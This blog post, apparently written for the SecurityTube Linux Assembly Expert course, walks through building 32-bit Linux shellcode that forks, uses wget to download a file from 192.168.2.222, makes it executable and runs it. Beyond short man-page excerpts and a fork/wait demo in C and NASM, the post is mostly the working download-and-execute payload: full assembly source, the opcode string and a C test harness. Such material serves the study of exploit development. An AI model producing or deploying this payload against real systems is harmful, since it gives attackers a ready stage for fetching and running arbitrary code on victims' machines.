After completing the tasks for the SLEA certification, I went on writing a shellcode for downloading and executing a file. For this task I wanna use wget with execve.
But first, some pseudocode:
start execve wget file_x chmod +x file_x execve file_x end
So that is the plan. See a problem here? Look at the execve man page:
EXECVE(2) Linux Programmer's Manual EXECVE(2) NAME execve - execute program execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded. ...SNIP...
So once the execve command is finished, the program exits and the chmod and the second execve will never be reached. What to do? Let’s have a look at the fork man page:
FORK(2) Linux Programmer's Manual FORK(2) NAME fork - create a child process SYNOPSIS #include pid_t fork(void); DESCRIPTION fork() creates a new process by duplicating the calling process. The new process, referred to as the child, is an exact duplicate of the calling process, referred to as the parent ...SNIP...
Further we will need the wait command, have a look at this by yourself (man 2 wait). wait(NULL) will wait for the child process until it executes.
But before going on to the shellcode here is a demonstration of fork and wait in plain C:
forkwaittest.c
#include <stdio.h> void main(void) { int childPid; childPid = fork(); if(childPid == 0) { printf("Hello, i am the child process\n"); exit(0); } else { wait(NULL); printf("Hello, i am the parent process\n"); } }
What does it do:
– execute the program
– start the child program
– in the parent program, wait until child has been executed
– print child
– print parent
As a little experiment you can compare the output when you comment the wait command.
And here is the assembler code for my fork/wait test:
forkwait.nasm
; fork wait example global _start section .text _start: ;fork xor eax,eax mov al,0x2 int 0x80 xor ebx,ebx cmp eax,ebx jz child ;wait(NULL) mov eax,0x7 int 0x80 ;print parent & exit xor eax, eax mov al, 0x4 xor ebx, ebx mov bl, 0x1 xor edx, edx push edx push 0x746e push 0x65726170 mov ecx, esp mov dl, 12 int 0x80 xor eax, eax mov al, 0x1 xor ebx, ebx int 0x80 child: ;print child & exit xor eax, eax mov al, 0x4 xor ebx, ebx mov bl, 0x1 xor edx, edx push edx push 0x64 push 0x6c696863 mov ecx, esp mov dl, 12 int 0x80 xor eax, eax mov al, 0x1 xor ebx, ebx int 0x80
This is mostly the same as the C program.
So here is my new pseudo code:
start fork cmp if child goto child wait for child chmod +x file_x execve file_x child: execve wget file_x end
Enough explanations, here is the shellcode:
/* ; Filename: downloadexec.nasm ; Author: Daniel Sauder ; Website: https://govolution.wordpress.com/ ; Tested on: Ubuntu 12.04 / 32Bit ; License: http://creativecommons.org/licenses/by-sa/3.0/ ; Shellcode: ; - download 192.168.2.222/x with wget ; - chmod x ; - execute x ; - x is an executable global _start section .text _start: ;fork xor eax,eax mov al,0x2 int 0x80 xor ebx,ebx cmp eax,ebx jz child ;wait(NULL) xor eax,eax mov al,0x7 int 0x80 ;chmod x xor ecx,ecx xor eax, eax push eax mov al, 0xf push 0x78 mov ebx, esp xor ecx, ecx mov cx, 0x1ff int 0x80 ;exec x xor eax, eax push eax push 0x78 mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 int 0x80 child: ;download 192.168.2.222//x with wget push 0xb pop eax cdq push edx push 0x782f2f32 ;2//x avoid null byte push 0x32322e32 ;22.2 push 0x2e383631 ;.861 push 0x2e323931 ;.291 mov ecx,esp push edx push 0x74 ;t push 0x6567772f ;egw/ push 0x6e69622f ;nib/ push 0x7273752f ;rsu/ mov ebx,esp push edx push ecx push ebx mov ecx,esp int 0x80 */ #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
You can download the code from github. Also on shell-storm.org
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342
Leave a Reply